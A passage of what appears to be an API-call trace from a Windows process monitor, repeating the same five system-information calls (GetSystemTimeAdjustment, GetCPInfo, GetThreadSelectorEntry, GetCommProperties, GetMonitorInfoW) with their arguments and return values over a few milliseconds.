lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.703] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.703] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.703] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.703] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.703] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.703] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.703] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.703] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.703] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.703] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.703] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.703] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.703] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.703] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.703] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.703] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.751] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.751] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.751] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.751] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.751] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.751] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.751] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.751] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.751] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.751] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.751] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.751] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.751] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.751] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.751] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.751] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.751] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.751] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.751] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.752] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.752] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.752] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.752] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.752] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.752] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.752] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.752] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.752] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.752] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.752] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.752] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.752] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.752] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.752] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.752] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.752] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.752] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.752] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.752] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.752] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.752] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.752] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.752] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.752] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.752] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.752] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.752] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.753] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.753] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.753] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.753] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.753] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.753] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.753] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.753] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.753] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.753] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.753] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.753] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.753] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.753] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.753] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.753] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.753] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.753] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.753] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.753] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.753] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.753] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.753] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.753] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.754] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.754] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.754] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.754] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.754] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.754] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.754] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.754] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.754] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.754] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.754] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.754] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.754] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.754] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.754] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.754] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.754] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.754] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.754] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.754] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.754] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.754] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.754] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.754] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.754] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.754] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.754] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.754] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.755] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.755] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.755] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.755] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.755] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.755] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.755] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.755] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.755] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.755] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.755] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.755] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.755] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.755] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.755] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.755] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.755] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.755] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.755] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.755] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.755] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.755] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.755] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.755] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.755] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.755] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.755] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.755] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.756] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.756] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.756] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.756] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.756] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.756] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.756] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.756] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.756] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.756] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.756] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.756] 